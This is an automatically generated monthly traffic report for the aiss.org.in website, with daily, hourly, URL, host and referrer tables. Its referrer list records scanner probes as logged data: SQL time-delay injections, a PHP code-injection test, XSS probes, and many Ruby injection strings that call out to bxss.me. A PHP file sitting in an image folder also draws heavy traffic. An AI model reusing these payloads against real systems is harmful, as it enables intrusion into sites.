Usage Statistics for aiss.org.in - November 2025

Usage Statistics for aiss.org.in

Summary Period: November 2025
Generated 01-Dec-2025 20:06 +08

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for November 2025
Total Hits 246397
Total Files 78494
Total Pages 28979
Total Visits 781
Total KBytes 2355060
Total Unique Sites 7070
Total Unique URLs 425
Total Unique Referrers 1281
Total Unique User Agents 2797
. Avg Max
Hits per Hour 342 60115
Hits per Day 8213 107381
Files per Day 2616 62313
Pages per Day 965 27278
Sites per Day 235 1379
Visits per Day 26 106
KBytes per Day 78502 1372407
Hits by Response Code
Undefined response code 0.00% 10
Code 200 - OK 31.86% 78494
Code 206 - Partial Content 0.02% 47
Code 301 - Moved Permanently 0.04% 90
Code 302 - Found 0.25% 608
Code 304 - Not Modified 0.03% 73
Code 400 - Bad Request 0.06% 137
Code 401 - Unauthorized 0.10% 236
Code 404 - Not Found 67.40% 166082
Code 500 - Internal Server Error 0.25% 620

Daily usage for November 2025

Daily Statistics for November 2025
Day Hits Files Pages Visits Sites KBytes
1 11456 4.65% 9154 11.66% 31 0.11% 28 3.59% 313 4.43% 277501 11.78%
2 14562 5.91% 478 0.61% 274 0.95% 34 4.35% 1106 15.64% 20051 0.85%
3 14754 5.99% 131 0.17% 16 0.06% 11 1.41% 1345 19.02% 7324 0.31%
4 18891 7.67% 272 0.35% 39 0.13% 30 3.84% 1379 19.50% 5719 0.24%
5 23204 9.42% 218 0.28% 35 0.12% 30 3.84% 809 11.44% 14076 0.60%
6 2134 0.87% 995 1.27% 9 0.03% 9 1.15% 736 10.41% 6138 0.26%
7 4332 1.76% 184 0.23% 12 0.04% 11 1.41% 90 1.27% 14508 0.62%
8 4683 1.90% 302 0.38% 139 0.48% 33 4.23% 92 1.30% 15804 0.67%
9 4498 1.83% 171 0.22% 15 0.05% 14 1.79% 103 1.46% 21210 0.90%
10 3627 1.47% 238 0.30% 29 0.10% 19 2.43% 104 1.47% 47558 2.02%
11 3554 1.44% 136 0.17% 33 0.11% 16 2.05% 97 1.37% 16709 0.71%
12 3577 1.45% 110 0.14% 13 0.04% 13 1.66% 84 1.19% 10185 0.43%
13 1604 0.65% 376 0.48% 165 0.57% 50 6.40% 92 1.30% 27343 1.16%
14 6098 2.47% 189 0.24% 16 0.06% 15 1.92% 99 1.40% 25005 1.06%
15 2246 0.91% 118 0.15% 22 0.08% 21 2.69% 84 1.19% 10317 0.44%
16 2489 1.01% 174 0.22% 25 0.09% 19 2.43% 84 1.19% 24067 1.02%
17 2994 1.22% 213 0.27% 58 0.20% 57 7.30% 149 2.11% 50439 2.14%
18 6508 2.64% 246 0.31% 15 0.05% 13 1.66% 109 1.54% 109217 4.64%
19 2419 0.98% 484 0.62% 261 0.90% 37 4.74% 92 1.30% 32514 1.38%
20 107381 43.58% 62313 79.39% 27278 94.13% 106 13.57% 113 1.60% 1372407 58.27%
21 158 0.06% 131 0.17% 15 0.05% 14 1.79% 61 0.86% 21576 0.92%
22 1118 0.45% 108 0.14% 19 0.07% 15 1.92% 72 1.02% 12572 0.53%
23 2064 0.84% 205 0.26% 29 0.10% 26 3.33% 83 1.17% 45871 1.95%
24 221 0.09% 184 0.23% 31 0.11% 23 2.94% 91 1.29% 47799 2.03%
25 474 0.19% 381 0.49% 185 0.64% 25 3.20% 88 1.24% 26064 1.11%
26 180 0.07% 128 0.16% 19 0.07% 15 1.92% 70 0.99% 10757 0.46%
27 252 0.10% 211 0.27% 23 0.08% 18 2.30% 73 1.03% 24471 1.04%
28 235 0.10% 176 0.22% 34 0.12% 25 3.20% 85 1.20% 16265 0.69%
29 296 0.12% 192 0.24% 32 0.11% 19 2.43% 81 1.15% 27349 1.16%
30 388 0.16% 276 0.35% 107 0.37% 35 4.48% 83 1.17% 14245 0.60%

Hourly usage for November 2025

Hourly Statistics for November 2025
Hour Hits Files Pages KBytes
Avg Total Avg Total Avg Total Avg Total
0 273 8210 3.33% 32 966 1.23% 1 30 0.10% 1349 40476 1.72%
1 195 5864 2.38% 26 797 1.02% 5 168 0.58% 1096 32872 1.40%
2 173 5192 2.11% 19 583 0.74% 0 29 0.10% 1050 31487 1.34%
3 162 4868 1.98% 19 592 0.75% 0 20 0.07% 1003 30099 1.28%
4 178 5342 2.17% 19 592 0.75% 0 18 0.06% 943 28297 1.20%
5 179 5385 2.19% 19 577 0.74% 1 41 0.14% 687 20609 0.88%
6 232 6965 2.83% 21 636 0.81% 5 151 0.52% 633 18985 0.81%
7 188 5665 2.30% 20 620 0.79% 1 36 0.12% 1223 36680 1.56%
8 189 5685 2.31% 19 577 0.74% 0 18 0.06% 1606 48189 2.05%
9 242 7263 2.95% 18 569 0.72% 0 28 0.10% 906 27188 1.15%
10 166 5008 2.03% 19 573 0.73% 1 38 0.13% 754 22626 0.96%
11 187 5638 2.29% 30 909 1.16% 7 220 0.76% 1708 51246 2.18%
12 200 6023 2.44% 20 608 0.77% 1 57 0.20% 1392 41761 1.77%
13 210 6310 2.56% 23 706 0.90% 1 49 0.17% 1659 49769 2.11%
14 225 6773 2.75% 44 1344 1.71% 1 47 0.16% 2921 87616 3.72%
15 171 5130 2.08% 27 816 1.04% 3 98 0.34% 1403 42104 1.79%
16 249 7495 3.04% 34 1044 1.33% 9 276 0.95% 2594 77805 3.30%
17 307 9211 3.74% 43 1298 1.65% 1 51 0.18% 1263 37885 1.61%
18 187 5637 2.29% 24 735 0.94% 1 36 0.12% 3484 104516 4.44%
19 184 5548 2.25% 24 732 0.93% 1 59 0.20% 2606 78174 3.32%
20 2120 63612 25.82% 1235 37066 47.22% 328 9843 33.97% 31207 936202 39.75%
21 1003 30098 12.22% 395 11866 15.12% 286 8583 29.62% 10439 313175 13.30%
22 689 20676 8.39% 352 10569 13.46% 269 8087 27.91% 4929 147871 6.28%
23 293 8799 3.57% 123 3719 4.74% 33 996 3.44% 1648 49429 2.10%

Top 30 of 425 Total URLs
# Hits KBytes URL
1 19116 7.76% 442146 18.77% /booknow.php
2 15331 6.22% 435346 18.49% /pooja-online-reservation.php
3 8904 3.61% 242983 10.32% /admin/assets/img/gallery/sess3.php
4 5150 2.09% 115375 4.90% /donate-now.php
5 4765 1.93% 156 0.01% /contact-mail.php
6 2050 0.83% 180 0.01% /robots.txt
7 2035 0.83% 87854 3.73% /
8 1472 0.60% 22142 0.94% /register.php
9 1123 0.46% 4476 0.19% /admin/
10 786 0.32% 11461 0.49% /login.php
11 747 0.30% 1801 0.08% /sitemap.xml
12 297 0.12% 4799 0.20% /saibaba-video.php
13 247 0.10% 1948 0.08% /admin/assets/img/gallery/
14 243 0.10% 570 0.02% /admin/assets/img/
15 241 0.10% 1902 0.08% /admin/assets/img/about/
16 240 0.10% 469 0.02% /admin/assets/
17 240 0.10% 5093 0.22% /contact_us.php
18 234 0.09% 417 0.02% /css/
19 234 0.09% 7474 0.32% /gallery.php
20 234 0.09% 300 0.01% /js/
21 230 0.09% 9341 0.40% /about-sai-samaj.php
22 227 0.09% 5189 0.22% /about-us.php
23 224 0.09% 845 0.04% /images/
24 219 0.09% 6068 0.26% /about-founder.php
25 212 0.09% 403 0.02% /admin/assets/css/
26 212 0.09% 1379 0.06% /admin/assets/plugins/
27 212 0.09% 4016 0.17% /ship-policy.php
28 211 0.09% 3408 0.14% /medical-services.php
29 210 0.09% 4326 0.18% /guest-book.php
30 210 0.09% 4296 0.18% /list-of-poojas.php

Top 10 of 425 Total URLs By KBytes
# Hits KBytes URL
1 19116 7.76% 442146 18.77% /booknow.php
2 15331 6.22% 435346 18.49% /pooja-online-reservation.php
3 8904 3.61% 242983 10.32% /admin/assets/img/gallery/sess3.php
4 148 0.06% 135905 5.77% /js/core.min.js
5 10 0.00% 132111 5.61% /admin/assets/img/about/1745043420_about-us-baba.jpg
6 5150 2.09% 115375 4.90% /donate-now.php
7 10 0.00% 101617 4.31% /images/Saibaba.mp4
8 2035 0.83% 87854 3.73% /
9 45 0.02% 68067 2.89% /admin/home-banner/4.jpg
10 46 0.02% 52481 2.23% /admin/home-banner/2.jpg

Top 10 of 52 Total Entry Pages
# Hits Visits URL
1 2035 0.83% 482 69.25% /
2 1123 0.46% 75 10.78% /admin/
3 33 0.01% 33 4.74% /*
4 243 0.10% 8 1.15% /admin/assets/img/
5 212 0.09% 7 1.01% /admin/assets/plugins/
6 240 0.10% 6 0.86% /admin/assets/
7 247 0.10% 6 0.86% /admin/assets/img/gallery/
8 19 0.01% 4 0.57% /admin/assets/plugins/flot/
9 14 0.01% 4 0.57% /admin/assets/plugins/intltelinput/css/
10 13 0.01% 4 0.57% /admin/assets/plugins/material/

Top 10 of 78 Total Exit Pages
# Hits Visits URL
1 2035 0.83% 480 69.97% /
2 33 0.01% 33 4.81% /*
3 1123 0.46% 33 4.81% /admin/
4 14 0.01% 7 1.02% /admin/assets/plugins/intltelinput/css/
5 198 0.08% 6 0.87% /admin/assets/plugins/fontawesome/webfonts/
6 8 0.00% 5 0.73% /admin/assets/plugins/bootstrap-tagsinput/
7 17 0.01% 5 0.73% /admin/assets/plugins/ion-rangeslider/css/
8 240 0.10% 4 0.58% /admin/assets/
9 17 0.01% 4 0.58% /admin/assets/plugins/ion-rangeslider/js/
10 10 0.00% 4 0.58% /admin/assets/plugins/material/fonts/materialdesignicons/

Top 30 of 7070 Total Sites
# Hits Files KBytes Visits Hostname
1 104026 42.22% 62049 79.05% 1334897 56.68% 86 11.01% 37.49.228.85
2 70177 28.48% 7855 10.01% 212058 9.00% 1 0.13% 74.7.227.223
3 5298 2.15% 22 0.03% 84 0.00% 0 0.00% ns3155721.ip-51-77-43.eu
4 2818 1.14% 547 0.70% 1793 0.08% 0 0.00% static.vnpt.vn
5 1551 0.63% 10 0.01% 25 0.00% 0 0.00% linux12.r00tbase.de
6 1429 0.58% 6 0.01% 23 0.00% 0 0.00% ns3146081.ip-51-77-43.eu
7 1329 0.54% 12 0.02% 22 0.00% 0 0.00% ip5f5b6ed2.dynamic.kabel-deutschland.de
8 1178 0.48% 9 0.01% 19 0.00% 0 0.00% 57.81-167-26.customer.lyse.net
9 1168 0.47% 6 0.01% 19 0.00% 0 0.00% ns3436719.ip-193-70-34.eu
10 1137 0.46% 10 0.01% 18 0.00% 0 0.00% ns31424501.ip-54-38-38.eu
11 1009 0.41% 5 0.01% 16 0.00% 0 0.00% 194.247.173.99
12 957 0.39% 5 0.01% 15 0.00% 0 0.00% ns3113561.ip-54-37-252.eu
13 954 0.39% 147 0.19% 5041 0.21% 0 0.00% 116-240-149-7.sta.dodo.net.au
14 909 0.37% 4 0.01% 14 0.00% 0 0.00% ns3113675.ip-54-37-252.eu
15 877 0.36% 5 0.01% 14 0.00% 0 0.00% ns3141603.ip-51-77-218.eu
16 820 0.33% 4 0.01% 13 0.00% 0 0.00% ns3158724.ip-51-83-7.eu
17 794 0.32% 4 0.01% 13 0.00% 0 0.00% ns3155021.ip-51-83-5.eu
18 763 0.31% 4 0.01% 12 0.00% 0 0.00% ns3076785.ip-217-182-194.eu
19 754 0.31% 4 0.01% 12 0.00% 0 0.00% ns3123219.ip-147-135-215.eu
20 747 0.30% 3 0.00% 12 0.00% 0 0.00% ns31418462.ip-146-59-46.eu
21 738 0.30% 8 0.01% 12 0.00% 0 0.00% ipb219f47c.dynamic.kabel-deutschland.de
22 738 0.30% 4 0.01% 12 0.00% 0 0.00% ns3150899.ip-51-83-11.eu
23 726 0.29% 4 0.01% 12 0.00% 0 0.00% ns3074835.ip-217-182-137.eu
24 710 0.29% 5 0.01% 11 0.00% 0 0.00% ns3389895.ip-147-135-252.eu
25 670 0.27% 4 0.01% 11 0.00% 0 0.00% ns3139190.ip-51-75-119.eu
26 665 0.27% 3 0.00% 11 0.00% 0 0.00% ns31015943.ip-51-68-32.eu
27 656 0.27% 6 0.01% 11 0.00% 0 0.00% ns3076773.ip-217-182-194.eu
28 649 0.26% 4 0.01% 10 0.00% 0 0.00% linux15.r00tbase.de
29 624 0.25% 3 0.00% 10 0.00% 0 0.00% ns3141592.ip-51-77-218.eu
30 620 0.25% 5 0.01% 10 0.00% 0 0.00% ns3146288.ip-51-83-9.eu

Top 10 of 7070 Total Sites By KBytes
# Hits Files KBytes Visits Hostname
1 104026 42.22% 62049 79.05% 1334897 56.68% 86 11.01% 37.49.228.85
2 70177 28.48% 7855 10.01% 212058 9.00% 1 0.13% 74.7.227.223
3 135 0.05% 133 0.17% 43121 1.83% 2 0.26% 143.4.27.250.hathway.com
4 8 0.00% 7 0.01% 39831 1.69% 0 0.00% fwdproxy-vll-114.fbsv.net
5 114 0.05% 111 0.14% 22999 0.98% 1 0.13% crawl-66-249-64-110.googlebot.com
6 42 0.02% 42 0.05% 18715 0.79% 1 0.13% 79.97.115.149.hathway.com
7 69 0.03% 65 0.08% 16302 0.69% 2 0.26% crawl-66-249-64-96.googlebot.com
8 17 0.01% 17 0.02% 15535 0.66% 0 0.00% 43.174.6.54
9 16 0.01% 16 0.02% 15527 0.66% 0 0.00% 43.174.15.27
10 67 0.03% 64 0.08% 14474 0.61% 1 0.13% crawl-66-249-71-6.googlebot.com

Top 250 of 1281 Total Referrers
# Hits Referrer
1 196089 79.58% - (Direct Request)
2 32743 13.29% https://aiss.org.in/
3 12017 4.88% https://www.google.com/search
4 500 0.20% https://aiss.org.in/admin/
5 417 0.17% https://aiss.org.in/login.php
6 318 0.13% \
7 314 0.13% https://aiss.org.in/css/fonts.css
8 212 0.09% '\
9 106 0.04% !(()
10 106 0.04% '
11 106 0.04% '.print(md5(31337)).'
12 106 0.04% )
13 106 0.04% )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))
14 106 0.04% 1 \xc0\xa7\xc0\xa2
15 106 0.04% 1'\
16 106 0.04% 12345'\
17 106 0.04% bxss.me/t/xss.html
18 106 0.04% http://bxss.me/t/xss.html
19 101 0.04% (select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'\
20 101 0.04% 0'XOR(if(now()
21 101 0.04% 0\
22 101 0.04% 1 waitfor delay '0:0:15' --
23 101 0.04% if(now()
24 81 0.03% https://www.aiss.org.in/
25 58 0.02% https://aiss.org.in/css/style.css
26 50 0.02% https://aiss.org.in/contact_us.php
27 41 0.02% https://aiss.org.in/about-us.php
28 40 0.02% ()
29 39 0.02% https://aiss.org.in/gallery.php
30 36 0.01% https://aiss.org.in/admin/index.php
31 34 0.01% https://aiss.org.in/booknow.php
32 34 0.01% https://aiss.org.in/donate-now.php
33 32 0.01% https://www.aiss.org.in/about-sai-samaj.php
34 31 0.01% https://aiss.org.in/saibaba-video.php
35 30 0.01% https://www.aiss.org.in/gallery.php
36 27 0.01% http://www.spezify.com/
37 25 0.01% https://aiss.org.in/pooja-online-reservation.php
38 23 0.01% https://aiss.org.in/wp-admin/
39 20 0.01% https://aiss.org.in/index.php
40 20 0.01% https://www.aiss.org.in/about-us.php
41 17 0.01% https://aiss.org.in/admin/assets/img/about/
42 17 0.01% https://www.aiss.org.in/css/fonts.css
43 14 0.01% https://aiss.org.in/guest-book.php
44 13 0.01% https://aiss.org.in/includes/header.php
45 12 0.00% https://aiss.org.in/about-sai-samaj.php
46 12 0.00% https://aiss.org.in/list-of-poojas.php
47 12 0.00% https://www.aiss.org.in/contact_us.php
48 12 0.00% https://www.google.com/
49 11 0.00% https://twitter.com/
50 11 0.00% https://www.facebook.com/
51 10 0.00% https://aiss.org.in/admin/assets/css/style.css
52 9 0.00% www.google.com
53 8 0.00% https://aiss.org.in/admin/assets/plugins/fontawesome/css/all.min.css
54 7 0.00% http://101.100.220.18:80/
55 7 0.00% https://aiss.org.in/medical-services.php
56 6 0.00% http://indiasolarexpo.org/
57 6 0.00% https://www.linkedin.com/
58 5 0.00% https://aiss.org.in/register.php
59 5 0.00% https://duckduckgo.com/
60 5 0.00% https://www.2exhibitions.com/
61 5 0.00% https://www.aiss.org.in
62 5 0.00% https://www.aiss.org.in/index.php
63 5 0.00% https://www.aiss.org.in/list-of-poojas.php
64 5 0.00% https://www.reddit.com/
65 4 0.00% https://aiss.org.in
66 4 0.00% https://aiss.org.in/js/script.js
67 4 0.00% https://aiss.org.in/ship-policy.php
68 4 0.00% https://wordpress.org/
69 4 0.00% https://www.aiss.org.in/donate-now.php
70 4 0.00% https://www.aiss.org.in/pooja-online-reservation.php
71 4 0.00% https://www.aiss.org.in/whatsapp.php
72 4 0.00% https://www.bing.com/
73 3 0.00% https://aiss.org.in/admin/assets/fonts/CircularStd-Book.html
74 3 0.00% https://aiss.org.in/admin/assets/fonts/CircularStd-Medium-2.html
75 3 0.00% https://aiss.org.in/admin/assets/img/about/1745919081_user.webp
76 3 0.00% https://aiss.org.in/admin/assets/img/about/1745919097_user-3.webp
77 3 0.00% https://aiss.org.in/admin/assets/js/layout.js
78 3 0.00% https://aiss.org.in/css/
79 3 0.00% https://aiss.org.in/includes/
80 3 0.00% https://aiss.org.in/js/pointer-events.min.js
81 3 0.00% https://cpcontacts.aiss.org.in/
82 3 0.00% https://www.bing.com/search
83 2 0.00% http://cpcontacts.aiss.org.in/sitemap.xml
84 2 0.00% https://aiss.org.in/js/
85 2 0.00% https://aiss.org.in/sitemap.xml
86 2 0.00% https://autodiscover.aiss.org.in/
87 2 0.00% https://cpcalendars.aiss.org.in/
88 2 0.00% https://in.search.yahoo.com/
89 2 0.00% https://mail.aiss.org.in/
90 2 0.00% https://webdisk.aiss.org.in/
91 2 0.00% https://www.aiss.org.in/call.php
92 2 0.00% https://www.google.com
93 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(100).concat(74).concat(104).concat(73)+(require'socket' Socket.gethostbyname('hittz'+'crejppzqe4d59.bxss.me.')[3].to_s)+'
94 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(100).concat(85).concat(119).concat(81)+(require'socket' Socket.gethostbyname('hitgg'+'dwvgpfvk6b128.bxss.me.')[3].to_s)+'
95 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(100).concat(86).concat(106).concat(81)+(require'socket' Socket.gethostbyname('hitom'+'rpmctwxcc4f7d.bxss.me.')[3].to_s)+'
96 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(100).concat(88).concat(121).concat(69)+(require'socket' Socket.gethostbyname('hitau'+'qgxfdzhc65674.bxss.me.')[3].to_s)+'
97 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(101).concat(71).concat(110).concat(82)+(require'socket' Socket.gethostbyname('hitee'+'ssompajn1a1e9.bxss.me.')[3].to_s)+'
98 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(101).concat(86).concat(98).concat(71)+(require'socket' Socket.gethostbyname('hitpy'+'qwmbwwkk1121e.bxss.me.')[3].to_s)+'
99 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(102).concat(69).concat(117).concat(88)+(require'socket' Socket.gethostbyname('hitsw'+'nbmykfyx7d304.bxss.me.')[3].to_s)+'
100 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(102).concat(73).concat(105).concat(86)+(require'socket' Socket.gethostbyname('hitwz'+'jkufzixt2fc50.bxss.me.')[3].to_s)+'
101 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(102).concat(74).concat(115).concat(85)+(require'socket' Socket.gethostbyname('hithy'+'xogjuhmzfc7ac.bxss.me.')[3].to_s)+'
102 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(102).concat(80).concat(110).concat(76)+(require'socket' Socket.gethostbyname('hitii'+'giiqvhsg91125.bxss.me.')[3].to_s)+'
103 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(102).concat(83).concat(106).concat(76)+(require'socket' Socket.gethostbyname('hitxk'+'yemzpayf43dd0.bxss.me.')[3].to_s)+'
104 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(71).concat(116).concat(71)+(require'socket' Socket.gethostbyname('hitkp'+'bawrkqbzfdcf4.bxss.me.')[3].to_s)+'
105 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(71).concat(98).concat(86)+(require'socket' Socket.gethostbyname('hitif'+'etkywepz76b6b.bxss.me.')[3].to_s)+'
106 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(79).concat(99).concat(84)+(require'socket' Socket.gethostbyname('hitgk'+'snsljdeu0b6a1.bxss.me.')[3].to_s)+'
107 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(85).concat(109).concat(85)+(require'socket' Socket.gethostbyname('hitws'+'jtrmllzqf676c.bxss.me.')[3].to_s)+'
108 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(86).concat(99).concat(76)+(require'socket' Socket.gethostbyname('hitxx'+'rehtucgjbb710.bxss.me.')[3].to_s)+'
109 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(88).concat(116).concat(80)+(require'socket' Socket.gethostbyname('hitnt'+'tbihhixo918f5.bxss.me.')[3].to_s)+'
110 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(103).concat(90).concat(109).concat(73)+(require'socket' Socket.gethostbyname('hitfj'+'oefbtmef79861.bxss.me.')[3].to_s)+'
111 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(104).concat(67).concat(115).concat(80)+(require'socket' Socket.gethostbyname('hitce'+'jlndloxa89b48.bxss.me.')[3].to_s)+'
112 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(104).concat(87).concat(121).concat(70)+(require'socket' Socket.gethostbyname('hitca'+'eunlfkiqc11a5.bxss.me.')[3].to_s)+'
113 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(105).concat(66).concat(101).concat(65)+(require'socket' Socket.gethostbyname('hitbb'+'ldlbyqqf66e4d.bxss.me.')[3].to_s)+'
114 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(105).concat(77).concat(120).concat(69)+(require'socket' Socket.gethostbyname('hitdb'+'bzpuiukdda7af.bxss.me.')[3].to_s)+'
115 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(105).concat(81).concat(107).concat(76)+(require'socket' Socket.gethostbyname('hitzc'+'mvtddqes412ee.bxss.me.')[3].to_s)+'
116 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(105).concat(83).concat(108).concat(79)+(require'socket' Socket.gethostbyname('hitag'+'uznnxond3eb38.bxss.me.')[3].to_s)+'
117 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(105).concat(88).concat(116).concat(72)+(require'socket' Socket.gethostbyname('hitbp'+'mytedcjy7165b.bxss.me.')[3].to_s)+'
118 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(106).concat(72).concat(108).concat(80)+(require'socket' Socket.gethostbyname('hityf'+'zmvfthsaedbb6.bxss.me.')[3].to_s)+'
119 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(106).concat(86).concat(107).concat(84)+(require'socket' Socket.gethostbyname('hitbn'+'zlyexbua1d2e7.bxss.me.')[3].to_s)+'
120 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(107).concat(69).concat(120).concat(88)+(require'socket' Socket.gethostbyname('hitip'+'umhioigna9835.bxss.me.')[3].to_s)+'
121 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(107).concat(84).concat(110).concat(72)+(require'socket' Socket.gethostbyname('hitge'+'remkgbsyd71b1.bxss.me.')[3].to_s)+'
122 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(108).concat(71).concat(121).concat(73)+(require'socket' Socket.gethostbyname('hityp'+'aaewevqm57929.bxss.me.')[3].to_s)+'
123 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(108).concat(88).concat(113).concat(71)+(require'socket' Socket.gethostbyname('hitso'+'zgffqwbm8d556.bxss.me.')[3].to_s)+'
124 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(109).concat(82).concat(104).concat(76)+(require'socket' Socket.gethostbyname('hitlb'+'mumslyoc26b22.bxss.me.')[3].to_s)+'
125 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(109).concat(90).concat(114).concat(89)+(require'socket' Socket.gethostbyname('hitgr'+'tmeoxmid71077.bxss.me.')[3].to_s)+'
126 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(69).concat(120).concat(90)+(require'socket' Socket.gethostbyname('hitpx'+'qejhqvet7f662.bxss.me.')[3].to_s)+'
127 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(71).concat(105).concat(72)+(require'socket' Socket.gethostbyname('hitqe'+'wefjdndwb745e.bxss.me.')[3].to_s)+'
128 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(75).concat(113).concat(79)+(require'socket' Socket.gethostbyname('hitgj'+'nwblfifr20b78.bxss.me.')[3].to_s)+'
129 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(78).concat(116).concat(85)+(require'socket' Socket.gethostbyname('hitvd'+'offdabqcc6daa.bxss.me.')[3].to_s)+'
130 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(81).concat(108).concat(87)+(require'socket' Socket.gethostbyname('hitzm'+'ucqtecalb256e.bxss.me.')[3].to_s)+'
131 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(87).concat(103).concat(77)+(require'socket' Socket.gethostbyname('hitue'+'pltgwaej2cf3a.bxss.me.')[3].to_s)+'
132 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(88).concat(102).concat(84)+(require'socket' Socket.gethostbyname('hitfs'+'pcqprpxr11949.bxss.me.')[3].to_s)+'
133 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(110).concat(90).concat(104).concat(87)+(require'socket' Socket.gethostbyname('hitjo'+'hllqpgjn4e6fc.bxss.me.')[3].to_s)+'
134 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(111).concat(74).concat(106).concat(77)+(require'socket' Socket.gethostbyname('hitqb'+'maknvupc4d199.bxss.me.')[3].to_s)+'
135 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(111).concat(75).concat(117).concat(80)+(require'socket' Socket.gethostbyname('hitvb'+'kwxgatjy77672.bxss.me.')[3].to_s)+'
136 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(111).concat(87).concat(122).concat(76)+(require'socket' Socket.gethostbyname('hitrk'+'jvyzffjs412c6.bxss.me.')[3].to_s)+'
137 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(112).concat(87).concat(104).concat(85)+(require'socket' Socket.gethostbyname('hitoy'+'wtktqvzy76682.bxss.me.')[3].to_s)+'
138 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(112).concat(87).concat(97).concat(81)+(require'socket' Socket.gethostbyname('hitcr'+'zdwfauqv23c43.bxss.me.')[3].to_s)+'
139 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(112).concat(90).concat(119).concat(87)+(require'socket' Socket.gethostbyname('hitwq'+'szxcravk7310c.bxss.me.')[3].to_s)+'
140 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(113).concat(69).concat(99).concat(70)+(require'socket' Socket.gethostbyname('hitcc'+'bdcjdiqi8e4ea.bxss.me.')[3].to_s)+'
141 1 0.00% '+'A'.concat(70-3).concat(22*4).concat(113).concat(72).concat(107).concat(71)+(require'socket' Socket.gethostbyname('hitla'+'elogxjvg7cb24.bxss.me.')[3].to_s)+'
